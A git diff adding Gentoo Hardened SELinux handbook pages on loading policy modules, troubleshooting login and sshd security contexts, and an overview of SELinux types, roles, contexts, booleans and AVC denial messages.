+/usr/bin/checkmodule:  writing binary representation (version 6) to tmp/local.mod
+Creating targeted local.pp policy package
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Load the Modules</title>
+<subsection><body>
+<p>
+  The modules can be loaded into the currently configured policy simply
+  by using the load target of the Makefile.
+</p>
+<pre caption="">
+# <i>make load</i>
+</pre>
+<p>
+  The load target also respects the <c>NAME=</c> option.  Alternatively,
+  the <c>semodule</c> command can be used to load individual modules.
+</p>
+<pre caption="">
+# <i>semodule -i local.pp</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Building Reference Policy Modules</title>
+<subsection><body>
+<p>
+The new Gentoo policy is based on the <uri link="http://oss.tresys.com/projects/refpolicy">SELinux Reference Policy</uri>.
+For more information on building a complete Reference Policy module, see the
+<uri link="http://oss.tresys.com/projects/refpolicy/wiki/GettingStarted">Reference Policy Wiki</uri>.
+</p>
+</body></subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-loglocal.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-loglocal.xml
new file mode 100644
index 00000000..7cc55064
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-loglocal.xml
@@ -0,0 +1,166 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-loglocal.xml,v 1.7 2008/05/20 15:45:43 pebenito Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2004-11-16</date>
+
+<section><title>Begin Here</title>
+<subsection><body>
+<p>
+  You must be in <c>sysadm_r</c> to perform these actions.
+</p>
+<p>
+  Run <c>sestatus -v</c>.  Click the first context that doesn't match:
+</p>
+<table>
+<tr><th>Process</th><th>Context</th></tr>
+<tr><ti>Init context</ti><ti><uri link="#doc_chap2">system_u:system_r:init_t</uri></ti></tr>
+<tr><ti>/sbin/agetty</ti><ti><uri link="#doc_chap3">system_u:system_r:getty_t</uri></ti></tr>
+<tr><th>File</th><th>Context</th></tr>
+<tr><ti>/bin/login</ti><ti><uri link="#doc_chap4">system_u:object_r:login_exec_t</uri></ti></tr>
+<tr><ti>/sbin/unix_chkpwd</ti><ti><uri link="#doc_chap5">system_u:object_r:chkpwd_exec_t</uri></ti></tr>
+<tr><ti>/etc/passwd</ti><ti><uri link="#doc_chap6">system_u:object_r:etc_t</uri></ti></tr>
+<tr><ti>/etc/shadow</ti><ti><uri link="#doc_chap6">system_u:object_r:shadow_t</uri></ti></tr>
+<tr><ti>/bin/bash</ti><ti><uri link="#doc_chap7">system_u:object_r:shell_exec_t</uri></ti></tr>
+</table>
+</body></subsection>
+</section>
+
+<section><title>Incorrect Init Context</title>
+<subsection><title>Verify Init Label</title>
+<body>
+<p>
+  There are several possible reasons why init may have the wrong context.
+  First, verify that init is labeled correctly, refer to the sestatus's output
+  for /sbin/init.  If it is not <c>system_u:object_r:init_exec_t</c>, relabel sysvinit.
+</p>
+<pre caption="Fix init context">
+# <i>rlpkg sysvinit</i>
+</pre>
+</body></subsection>
+<subsection><title>Verify Available Policy</title><body>
+<p>
+  You must be in <c>sysadm_r</c> to perform this action.
+</p>
+<p>
+  A binary policy must be available in  /etc/selinux/{strict,targeted}/policy.
+  If it is missing, then install the policy.
+</p>
+<pre caption="Install binary policy">
+# <i>semodule -n -B</i>
+</pre>
+</body>
+</subsection>
+
+<subsection><title>Verify Init Can Load the Policy</title><body>
+<p>
+  The final check is to ensure init can load the policy.  Run <c>ldd</c> on
+  init, and if libselinux is not in the output, remerge sysvinit.
+</p>
+<pre caption="Check init linking">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+<p>
+  Now reboot so init gains the correct context, and loads the policy.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Incorrect agetty Context</title>
+<subsection><body>
+<p>
+  Verify that agetty is labeled correctly. Refer to the sestatus's output
+  for /sbin/agetty.  If it is not <c>system_u:object_r:getty_exec_t</c>, relabel
+  util-linux.  Then restart all gettys.
+</p>
+<pre caption="Fix agetty context">
+# <i>rlpkg util-linux</i>
+# <i>killall agetty</i> <comment>(they will respawn)</comment>
+</pre>
+<p>
+  All of the agettys should now be in the correct <c>system_u:object_r:getty_exec_t</c>
+  context.  Try logging in again.
+</p>
+</body>
+</subsection>
+</section>
+
+<section><title>Incorrect Login Context</title>
+<subsection><body>
+<p>
+  The login program (/bin/login) is not labeled correctly.  Relabel shadow.
+</p>
+<pre caption="Relabel shadow">
+# <i>rlpkg shadow</i>
+</pre>
+<p>
+  /bin/login should now be <c>system_u:object_r:login_exec_t</c>.
+  Try logging in again.
+</p>
+</body>
+</subsection>
+</section>
+
+<section><title>Incorrect PAM Context</title>
+<subsection><body>
+<p>
+  Sshd must be able to use PAM for authenticating the user.  The PAM password
+  checking program (/sbin/unix_chkpwd) must be labeled correctly so
+  sshd can transition to the password checking context.  Relabel PAM.
+</p>
+<pre caption="Fix unix_chkpwd context">
+# <i>rlpkg pam</i>
+</pre>
+<p>
+  The password checking program should now be <c>system_u:object_r:chkpwd_exec_t</c>.
+  Try loggin in again.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Incorrect Password File Contexts</title>
+<subsection><body>
+<p>
+  The password file (/etc/passwd), and the shadow file (/etc/shadow) must
+  be labeled correctly, otherwise PAM will not be able to
+  authenticate your user.  Relabel the files.
+</p>
+<pre caption="Fix shadow context">
+# <i>restorecon /etc/passwd /etc/shadow</i>
+</pre>
+<p>
+  The password and shadow files should now be <c>system_u:object_r:etc_t</c>
+  and <c>system_u:object_r:shadow_t</c>, respectively.  Try logging in again.
+</p>
+</body>
+</subsection>
+</section>
+
+<section><title>Incorrect Bash File Context</title>
+<subsection><body>
+<p>
+  Bash must be labeled correctly so the user can transition into the user
+  domain when logging in.  Relabel bash.
+</p>
+<pre caption="Fix bash context">
+# <i>rlpkg bash</i>
+</pre>
+<p>
+  Bash (/bin/bash) should now be <c>system_u:object_r:shell_exec_t</c>.
+  Try logging in again.
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-logremote.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-logremote.xml
new file mode 100644
index 00000000..1a95f7bf
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-logremote.xml
@@ -0,0 +1,177 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-logremote.xml,v 1.7 2008/05/20 15:45:43 pebenito Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2004-11-16</date>
+
+<section><title>Begin Here</title>
+<subsection><body>
+<p>
+  You must be in <c>sysadm_r</c> to perform these actions.
+</p>
+<p>
+  Run <c>sestatus -v</c>.  Click the first context that doesn't match:
+</p>
+<table>
+<tr><th>Process</th><th>Context</th></tr>
+<tr><ti>Init context</ti><ti><uri link="#doc_chap2">system_u:system_r:init_t</uri></ti></tr>
+<tr><ti>/usr/sbin/sshd</ti><ti><uri link="#doc_chap3">system_u:system_r:sshd_t</uri></ti></tr>
+<tr><th>File</th><th>Context</th></tr>
+<tr><ti>/sbin/unix_chkpwd</ti><ti><uri link="#doc_chap4">system_u:object_r:chkpwd_exec_t</uri></ti></tr>
+<tr><ti>/etc/passwd</ti><ti><uri link="#doc_chap5">system_u:object_r:etc_t</uri></ti></tr>
+<tr><ti>/etc/shadow</ti><ti><uri link="#doc_chap5">system_u:object_r:shadow_t</uri></ti></tr>
+<tr><ti>/bin/bash</ti><ti><uri link="#doc_chap6">system_u:object_r:shell_exec_t</uri></ti></tr>
+</table>
+</body></subsection>
+</section>
+
+<section><title>Incorrect Init Context</title>
+<subsection><title>Verify Init Label</title>
+<body>
+<p>
+  There are several possible reasons why init may have the wrong context.
+  First, verify that init is labeled correctly, refer to the sestatus's output
+  for /sbin/init.  If it is not <c>system_u:object_r:init_exec_t</c>, relabel sysvinit.
+</p>
+<pre caption="">
+# <i>rlpkg sysvinit</i>
+</pre>
+</body></subsection>
+
+<subsection><title>Verify Available Policy</title><body>
+<p>
+  You must be in <c>sysadm_r</c> to perform this action.
+</p>
+<p>
+  A binary policy must be available in 
+  /etc/selinux/{strict,targeted}/policy.  If it is missing, then install
+  the policy.
+</p>
+<pre caption="Install policy">
+# <i>semodule -n -B</i>
+</pre>
+</body>
+</subsection>
+
+<subsection><title>Verify Init Can Load the Policy</title><body>
+<p>
+  The final check is to ensure init can load the policy.  Run <c>ldd</c> on
+  init, and if libselinux is not in the output, remerge sysvinit.
+</p>
+<pre caption="">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+<p>
+  Now reboot so init gains the correct context, and loads the policy.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Incorrect sshd Context</title>
+<subsection><body>
+<p>
+  Another possibility is sshd is not labeled correctly, meaning it is not running
+  in the right context.  Relabel openssh, then restart sshd.
+</p>
+<pre caption="">
+# <i>rlpkg openssh</i>
+# <i>/etc/init.d/sshd restart</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Incorrect PAM Context</title>
+<subsection><body>
+<p>
+  Sshd must be able to use PAM for authenticating the user.  The PAM password
+  checking program (/sbin/unix_chkpwd) must be labeled correctly so
+  sshd can transition to the password checking context.  Relabel PAM.
+</p>
+<pre caption="">
+# <i>rlpkg pam</i>
+</pre>
+<p>
+  The password checking program should now be <c>system_u:object_r:chkpwd_exec_t</c>.
+  Try loggin in again.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Incorrect Password File Contexts</title>
+<subsection><body>
+<p>
+  The password file (/etc/passwd), and the shadow file (/etc/shadow) must
+  be labeled correctly, otherwise PAM will not be able to
+  authenticate your user.  Relabel the files.
+</p>
+<pre caption="">
+# <i>restorecon /etc/passwd /etc/shadow</i>
+</pre>
+<p>
+  The password and shadow files should now be <c>system_u:object_r:etc_t</c>
+  and <c>system_u:object_r:shadow_t</c>, respectively.  Try logging in again.
+</p>
+</body>
+</subsection>
+</section>
+
+<section><title>Incorrect Bash File Context</title>
+<subsection><body>
+<p>
+  Bash must be labeled correctly so the user can transition into the user
+  domain when logging in.  Relabel bash.
+</p>
+<pre caption="">
+# <i>rlpkg bash</i>
+</pre>
+<p>
+  Bash (/bin/bash) should now be <c>system_u:object_r:shell_exec_t</c>.
+  Try logging in again.
+</p>
+</body>
+</subsection>
+</section>
+
+<section><title>Other sshd Issues</title>
+<subsection><title>Valid Shell</title><body>
+<p>
+  First, make sure the user has a valid shell.
+</p>
+<pre caption="">
+# <i>grep</i> <comment>username</comment> <i>/etc/passwd | cut -d: -f7</i>
+/bin/bash <comment>(or your shell of choice)</comment>
+</pre>
+<p>
+  If the above command does not return anything, or the shell is wrong,
+  set the user's shell.
+</p>
+<pre caption="">
+# <i>usermod -s /bin/bash</i> <comment>username</comment>
+</pre>
+</body></subsection>
+<subsection><title>PAM enabled</title><body>
+<p>
+  PAM also must be enabled in sshd.  Make sure this line
+  in <c>/etc/ssh/sshd_config</c> is uncommented:
+</p>
+<pre caption="">
+UsePAM yes
+</pre>
+<p>
+  SELinux currently only allows PAM and a select few programs direct access
+  to <c>/etc/shadow</c>; therefore, openssh must now
+  use PAM for password authentication (public key still works).
+</p>
+</body></subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-overview.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-overview.xml
new file mode 100644
index 00000000..d02943de
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-overview.xml
@@ -0,0 +1,521 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-overview.xml,v 1.10 2010/06/25 16:07:19 pebenito Exp $ -->
+
+<sections>
+<version>1.5</version>
+<date>2009-07-13</date>
+
+<!--
+<section><title>Mandatory Access Control</title>
+<subsection><body>
+<p>
+   Security Enhanced Linux is an implementation of mandatory access control
+   (MAC) using type enforcement.  In Linux, the regular security permissions
+   are a discretionary access control system (DAC).  In DAC, the permissions
+   for a particular object, such as a file, are set at the discrection of the
+   owner and can be changed at any time by the owner.  In MAC, the access a
+   process or user has to an object is defined by the operating system
+   security policy, and cannot be bypassed.
+!!! still need to update other links in the handbook
+</p>
+</body></subsection>
+</section>
+-->   
+<section><title>SELinux Types</title>
+<subsection><body>
+<p>
+   A type is a security attribute given to objects such as files, and network
+   ports, etc.  The type of a process is commonly referred to as its domain.
+   The SELinux policy is primarily composed of type enforcement rules, which
+   describe how domains are allowed to interact with objects, and how domains
+   are allowed to interact with other domains.  A type is generally suffixed
+   with a &#39;_t&#39;, such as <c>sysadm_t</c>.  This is the most important
+   attribute for a process or object, as most policy decisions are based on
+   the source and target types.
+</p>
+</body></subsection>
+</section>
+
+<section><title>SELinux Roles</title>
+<subsection><body>
+<p>
+   SELinux is type enforcement, so the SELinux role is not the same as those
+   in a role-based access control system.  Permissions are not given to roles.
+   A role describes the set of types a user can use.  For example, a system
+   administrator that is using the system for regular user tasks should  be
+   in the <c>staff_r</c> role.  If they need to administrate the system, then
+   a role change to <c>sysadm_r</c> is required.  In SELinux terms, the
+   domains that a user can be in is determined by their role.  If a role is not
+   allowed to have a certain domain, a transition to that domain will be denied,
+   even if the type enforcement rules allow the domain transition.  A role is
+   generally suffixed with a &#39;_r&#39;, such as <c>system_r</c>.
+</p>
+</body></subsection>
+</section>
+
+<section><title>SELinux Identities</title>
+<subsection><title>What is a SELinux Identity?</title><body>
+<p>
+   The SELinux identity is similar to a Linux username.  The change of identity
+   should be limited to very specific cases, since the role-based access control
+   relies on the SELinux identity.  Therfore, in general, a user&#8217;s SELinux
+   identity will not change during a session.  The user ID in Linux can be
+   changed by set(e)uid, making it inappropriate for a SELinux identity.
+   If a user is given a SELinux identity, it must match the Linux username.  Each
+   SELinux identity is allowed a set of roles.
+</p>
+</body></subsection>
+
+<subsection><title>Configure SELinux Identity Mapping</title><body>
+<p>
+   The SELinux policy has several generic SELinux identities that should
+   be sufficient for all users.  This mapping only needs to be configured
+   on the strict policy.  The identity mapping for the targeted policy
+   need not be configured, as the default identity (user_u) is sufficient
+   in all cases.
+</p>
+<p>
+   When a user logs in, the SELinux identity used is determined by this mapping.
+</p>
+<table>
+<tr><th>SELinux Identity</th>
+    <th>Roles</th>
+    <th>Description</th></tr>
+<tr><ti>system_u</ti>
+    <ti>system_r</ti>
+    <ti>System (non-interactive) processes.  Should not be used on users.</ti></tr>
+<tr><ti>user_u</ti>
+    <ti>user_r</ti>
+    <ti>Generic unprivileged users.  The default identity mapping.</ti></tr>
+<tr><ti>staff_u</ti>
+    <ti>staff_r, sysadm_r</ti>
+    <ti>System administrators that also log in to do regular user activties.</ti></tr>
+<tr><ti>sysadm_u</ti>
+    <ti>sysadm_r</ti>
+    <ti>System administrators that only log in to do administrative tasks.  It is not suggested that this identity is used.</ti></tr>
+<tr><ti>root</ti>
+    <ti>staff_r, sysadm_r</ti>
+    <ti>Special identity for root.  Other users should use staff_u instead.</ti></tr>
+</table>
+<p>
+   See the <uri link="selinux-handbook.xml?part=3&amp;chap=2#doc_chap3">SELinux HOWTO</uri>
+   for semanage syntax for configuring SELinux identity mappings.
+</p>
+</body></subsection>
+
+</section>
+
+<section><title>SELinux Contexts</title>
+<subsection><body>
+<p>
+   Using the above three security models together is called a SELinux
+   context.  A context takes the form <c>identity</c>:<c>role</c>:<c>type</c>.
+   The SELinux context is the most important value for determining access.
+</p>
+</body></subsection>
+
+<subsection><title>Object Contexts</title><body>
+<p>
+   A typical <c>ls -Z</c> may have an output similar to this:
+</p>
+<pre caption="Example ls -Z output">
+drwxr-xr-x  root     root     system_u:object_r:bin_t          bin
+drwxr-xr-x  root     root     system_u:object_r:boot_t         boot
+drwxr-xr-x  root     root     system_u:object_r:device_t       dev
+drwxr-xr-x  root     root     system_u:object_r:etc_t          etc
+</pre>
+<p>
+   The first three columns are the typical linux permissions, user and group.
+   The fourth column is the file or directory&#39;s security context.  Objects
+   are given the generic <c>object_r</c> role.  From the other two fields of
+   the context, it can be seen that the files are in the system identity,
+   and have four different types, <c>bin_t</c>, <c>boot_t</c>, <c>device_t</c>,
+   and <c>etc_t</c>.
+</p>
+</body></subsection>
+
+<subsection><title>Process Contexts</title><body>
+<p>
+   A typical <c>ps ax -Z</c> may have an output similar to this:
+</p>
+<pre caption="Example ps ax -Z output">
+  PID CONTEXT                                  COMMAND
+    1 system_u:system_r:init_t                 [init]
+    2 system_u:system_r:kernel_t               [keventd]
+    3 system_u:system_r:kernel_t               [ksoftirqd_CPU0]
+    4 system_u:system_r:kernel_t               [kswapd]
+    5 system_u:system_r:kernel_t               [bdflush]
+    6 system_u:system_r:kernel_t               [kupdated]
+  706 system_u:system_r:syslogd_t              [syslog-ng]
+  712 system_u:system_r:httpd_t                [apache]
+  791 system_u:system_r:sshd_t                 [sshd]
+  814 system_u:system_r:crond_t                [cron]
+  826 system_u:system_r:getty_t                [agetty]
+  827 system_u:system_r:getty_t                [agetty]
+  828 system_u:system_r:getty_t                [agetty]
+  829 system_u:system_r:getty_t                [agetty]
+  830 system_u:system_r:getty_t                [agetty]
+  831 system_u:system_r:httpd_t                [apache]
+  832 system_u:system_r:httpd_t                [apache]
+  833 system_u:system_r:httpd_t                [apache]
+23093 system_u:system_r:sshd_t                 [sshd]
+23095 user_u:user_r:user_t                     [bash]
+23124 system_u:system_r:sshd_t                 [sshd]
+23126 user_u:user_r:user_t                     [bash]
+23198 system_u:system_r:sshd_t                 [sshd]
+23204 user_u:user_r:user_t                     [bash]
+23274 system_u:system_r:sshd_t                 [sshd]
+23275 pebenito:staff_r:staff_t                 [bash]
+23290 pebenito:staff_r:staff_t                 ps ax -Z
+</pre>
+<p>
+   In this example, the typical process information is displayed, in addition
+   to the process&#39;s context.  By inspection, all of the system&#39;s kernel
+   processes and daemons run under the <c>system_u</c> identity, and
+   <c>system_r</c> role.  The individual domains depend on the program.
+   There are a few users logged in over ssh, using the generic <c>user_u</c>
+   identity.  Finally there is a user with the identity <c>pebenito</c> logged in
+   with the <c>staff_r</c> role, running in the <c>staff_t</c> domain.
+</p>
+</body></subsection>
+
+</section>
+
+<section>
+<title>SELinux Policy Files</title>
+<subsection><body>
+<p>
+   The SELinux policy source files are no longer installed onto the system.
+   In the <c>/usr/share/selinux/{strict,targeted}</c> directory there are a
+   collection of policy packages and headers for building local modules.
+   The policy files are processed by m4, and then the policy compiler <c>checkmodule</c>
+   verifies that there are no syntactic errors, and a policy module is created.
+   Then a policy package is created with with the <c>semodule_package</c>
+   program, using the policy module and the module file contexts.
+   The policy packaged then can be loaded into a running SELinux kernel
+   by inserting it into the module store.
+</p>
+</body></subsection>
+
+<subsection><title>*.pp</title><body>
+<p>
+   Policy packages for this policy.  These must be inserted into the module
+   store so they can be loaded into the policy.  Inside the package
+   there is a loadable policy module, and optionally a file context file.
+</p>
+</body></subsection>
+
+<subsection><title>include/</title><body>
+<p>
+   Policy headers for this policy.
+</p>
+</body></subsection>
+
+</section>
+
+<section>
+<title>Binary Policy Versions</title>
+<subsection><body>
+<p>
+   When compiling the policy, the resultant binary policy is versioned.
+   The first version that was merged into 2.6 was version 15.
+   The version number is only incremented generally when new features are added that require changes to the structure of the compiled policy.
+   For example, in 2.6.5, conditional policy extensions were added.
+   This required the policy version to be incremented to version 16.
+</p>
+</body></subsection>
+<subsection><title>What Policy Version Does My Kernel Use?</title>
+<body>
+<p>
+   The policy version of a running kernel can be determined by executing
+   <c>sestatus</c> or <c>policyvers</c>.  Current kernels can load
+   the previous version policy for compatibility.  For example a version 17
+   kernel can also load a version 16 policy.  However, this compatibility
+   code may be removed in the future.
+</p>
+<note>
+  The policy management infrastructure (libsemanage) will automatically
+  create and use the correct version policies.  No extra steps need be taken.
+</note>
+</body></subsection>
+<subsection><title>Policy Versions</title>
+<body>
+<p>
+   The following table contains the policy versions in 2.6 kernels.
+</p>
+<table>
+<tr><th>Version</th>
+    <th>Description</th>
+    <th>Kernel Versions</th></tr>
+<tr><ti>12</ti>
+    <ti>"Old API" SELinux (deprecated).</ti></tr>
+<tr><ti>15</ti>
+    <ti>"New API" SELinux merged into 2.6.</ti>
+    <ti>2.6.0 - 2.6.4</ti></tr>
+<tr><ti>16</ti>
+    <ti>Conditional policy extensions added.</ti>
+    <ti>2.6.5</ti></tr>
+<tr><ti>17</ti>
+    <ti>IPV6 support added.</ti>
+    <ti>2.6.6 - 2.6.7</ti></tr>
+<tr><ti>18</ti>
+    <ti>Fine-grained netlink socket support added.</ti>
+    <ti>2.6.8 - 2.6.11</ti></tr>
+<tr><ti>19</ti>
+    <ti>Enhanced multi-level security.</ti>
+    <ti>2.6.12 - 2.6.13</ti></tr>
+<tr><ti>20</ti>
+    <ti>Access vector table size optimizations.</ti>
+    <ti>2.6.14 - 2.6.18</ti></tr>
+<tr><ti>21</ti>
+    <ti>Object classes in range transitions.</ti>
+    <ti>2.6.19 - 2.6.24</ti></tr>
+<tr><ti>22</ti>
+    <ti>Policy capabilities (features).</ti>
+    <ti>2.6.25</ti></tr>
+<tr><ti>23</ti>
+    <ti>Per-domain permissive mode.</ti>
+    <ti>2.6.26 - 2.6.27</ti></tr>
+<tr><ti>24</ti>
+    <ti>Explicit hierarchy (type bounds).</ti>                              
+    <ti>2.6.28 - current</ti></tr>
+</table>
+</body></subsection>
+</section>
+
+<section>
+<title>Conditional Policy Extensions</title>
+<subsection><body>
+<p>
+  The conditional policy extensions allow the enabling and disabling of policy
+  rules at runtime, without loading a modified policy.  Using policy booleans
+  and expressions, policy rules can be conditionally applied.
+</p>
+</body></subsection>
+
+<subsection><title>Determine Boolean Values</title>
+<body>
+<p>
+  The status of policy booleans in the current running policy can be determined
+  two ways.  The first is by using <c>sestatus</c>.
+</p>
+<pre caption="Example sestatus output">
+# sestatus
+SELinux status:         enabled
+SELinuxfs mount:        /selinux
+Current mode:           enforcing
+Policy version:         17
+ 
+Policy booleans:
+user_ping               inactive
+</pre>
+<p>
+  The second is <c>getsebool</c> which is a simple tool that displays
+  the status of policy booleans, and if a value change is pending.
+</p>
+<pre caption="Example getsebool command">
+# getsebool -a
+user_ping --> active: 0 pending: 0
+</pre>
+</body></subsection>
+
+<subsection><title>Changing Boolean Values</title>
+<body>
+<p>
+  The value of a boolean can be toggled by using the <c>togglesebool</c>
+  command.  Multiple booleans can be specified on the command line.  The
+  new value of the boolean will be displayed.
+</p>
+<pre caption="Example togglesebool command">
+# togglesebool user_ping
+user_ping: active
+</pre>
+<p>
+  The value of a boolean can be set specifically by using the <c>setsebool</c>
+  command.
+</p>
+<pre caption="Example setsebool command">
+# setsebool user_ping 0
+</pre>
+<p>
+  To set the value of a boolean, and make it the devault value, use the <c>-P</c> option.
+</p>
+<pre caption="Change default value">
+# setsebool -P user_ping 1
+</pre>
+</body></subsection>
+</section>
+
+<section>
+<title>Policy Kernel Messages</title>
+<subsection><body>
+<p>
+   While a system is running, a program or user may attempt to do something
+   that violates the security policy.  If the system is enforcing the policy,
+   the access will be denied, and there will be a message in the kernel log.
+   If the system is not enforcing (permissive mode), the access will be allowed,
+   but there will still be a kernel message.
+</p>
+</body></subsection>
+
+<subsection><title>AVC Messages</title><body>
+<p>
+   Most kernel messages from SELinux come from the access vector cache (AVC).
+   Understanding denials is important to understand if an attack is happening,
+   or if the program is requiring unexpected accesses.  An example denial
+   may look like this:
+</p>
+
+<pre caption="Example AVC Message">
+avc:  denied  { read write } for  pid=3392 exe=/bin/mount dev=03:03 ino=65554
+scontext=pebenito:sysadm_r:mount_t tcontext=system_u:object_r:tmp_t tclass=file
+</pre>
+
+<p>
+   While most AVC messages are denials, occasionally there might be an audit
+   message for an access that was granted:
+</p>
+<pre caption="Example AVC Message 2">
+avc:  granted  { load_policy } for  pid=3385 exe=/usr/sbin/load_policy
+scontext=pebenito:sysadm_r:load_policy_t tcontext=system_u:object_r:security_t tclass=security
+</pre>
+<p>
+   In this case, the ability to load the policy was granted.  This is a critical
+   security event, and thus is always audited.  Another event that is always
+   audited is switching between enforcing and permissive modes.
+</p>
+
+<p>
+   SELinux will supress logging of denials if many are received in a short
+   amount of time.  However, This does not always imply there is an attack
+   in progress.  A program may be doing something that could cause
+   many denials in a short time, such as doing a stat() on device nodes in
+   /dev.  To protect from filling up the system logs, SELinux has rate limiting
+   for its messages:
+</p>
+
+<pre caption="Example AVC Message 3">
+AVC: 12 messages suppressed.
+</pre>
+
+<p>
+   The policy would have to be modified to not audit these accesses if they
+   are normal program behavior, but still need to be denied.
+</p>
+
+</body></subsection>
+
+<subsection><title>Other kernel messages</title>
+<body>
+<pre caption="inode_doinit_with_dentry">
+inode_doinit_with_dentry:  context_to_sid(system_u:object_r:bar_t) returned 22 for dev=hda3 ino=517610
+</pre>
+<p>
+   This means that the file on /dev/hda3 with inode number 517610 has the context
+   system_u:object_r:bar_t, which is invalid.  Objects with an invalid context
+   are treated as if they had the system_u:object_r:unlabeled_t context.
+</p>
+</body></subsection>
+
+</section>
+
+<section><title>Dissecting a Denial</title>
+<subsection><body>
+<p>
+   Denials contain varying amounts of information, depending on the access type.
+</p>
+
+<pre caption="Example Denials">
+avc:  denied  { lock } for  pid=28341 exe=/sbin/agetty path=/var/log/wtmp dev=03:03 ino=475406
+scontext=system_u:system_r:getty_t tcontext=system_u:object_r:var_log_t tclass=file
+
+avc:  denied  { create } for  pid=20909 exe=/bin/ls scontext=pebenito:sysadm_r:mkinitrd_t
+tcontext=pebenito:sysadm_r:mkinitrd_t tclass=unix_stream_socket
+
+avc:  denied  { setuid } for  pid=3170 exe=/usr/bin/ntpd capability=7
+scontext=system_u:system_r:ntpd_t tcontext=system_u:system_r:ntpd_t tclass=capability
+
+</pre>
+
+<p>
+   The most common denial relates to access of files.  For better understanding,
+   the first denial message will be broken down:
+</p>
+<table>
+<tr><th>Component</th><th>Description</th></tr>
+<tr><ti>avc:  denied</ti>
+    <ti>SELinux has denied this access.</ti></tr>
+<tr><ti>{ lock }</ti>
+    <ti>The attempted access is a lock.</ti></tr>
+<tr><ti>pid=28341</ti>
+    <ti>The process ID performing this access is 28341.</ti></tr>
+<tr><ti>exec=/sbin/agetty</ti>
+    <ti>The full path and name of the process&#39;s executable is /sbin/agetty.</ti></tr>
+<tr><ti>path=/var/log/wtmp</ti>
+    <ti>The path and name of the target object is /var/log/wtmp.  Note: a complete
+        path is not always available.</ti></tr>
+<tr><ti>dev=03:03</ti>
+    <ti>The target object resides on device 03:03 (major:minor number).
+        On 2.6 kernels this may resolve to a name, hda3 in this example.</ti></tr>
+<tr><ti>ino=475406</ti>
+    <ti>The inode number of the target object is 475406.</ti></tr>
+<tr><ti>scontext=system_u:system_r:getty_t</ti>
+    <ti>The context of the program is system_u:system_r:getty_t.</ti></tr>
+<tr><ti>tcontext=system_u:object_r:var_log_t</ti>
+    <ti>The context of the target object is system_u:object_r:var_log_t.</ti></tr>
+<tr><ti>tclass=file</ti>
+    <ti>The target object is a normal file.</ti></tr>
+</table>
+
+<p>
+   Not all AVC messages will have all of these fields, as shown in the other
+   two denials.  The fields vary depending on the target object&#39;s class.
+   However, the most important fields: access type, source and target contexts,
+   and the target object&#39;s class will always be in an AVC message.
+</p>
+</body></subsection>
+
+<subsection><title>Understanding the Denial</title><body>
+<p>
+   Denials can be very confusing since they can be triggered for several reasons.
+   The key to understanding what is happening is to know the behavior of the
+   program, and to correctly interpret the denial message.  The target is not
+   limited to files; it could also be related to network sockets,
+   interprocess communications, or others.
+</p>
+<p>
+   In the above example, the agetty is denied locking of a file.  The file&#39;s type
+   is var_log_t, therefore it is implied that the target file is in /var/log.
+   With the extra information from the path= field in the denial message, it is
+   confirmed to be the file /var/log/wtmp.  If path information was unavailable,
+   this could be further confirmed by searching for the inode.  Wtmp is a file that has
+   information about users currently logged in, and agetty handles logins on
+   ttys.  It can be concluded that this is an expected access of agetty, for
+   updating wtmp.  However, why is this access being denied?  Is there a flaw
+   in the policy by not allowing agetty to update wtmp?  It turns out that wtmp
+   has the incorrect context.  It should be system_u:object_r:wtmp_t, rather
+   than system_u:object_r:var_log_t.
+</p>
+<p>
+   If this access was not understood, an administrator might mistakenly allow getty_t
+   read/write access to var_log_t files, which would be incorrect, since agetty
+   only needs to modify /var/log/wtmp.  This underscores how critical keeping
+   file contexts consistent is.
+</p>
+</body></subsection>
+</section>
+
+<section><title>References</title>
+<subsection><body>
+<p>
+   <uri link="http://www.nsa.gov/selinux">U.S. National Security Agency</uri>,
+   SELinux Policy README
+</p>
+</body></subsection>
+</section>
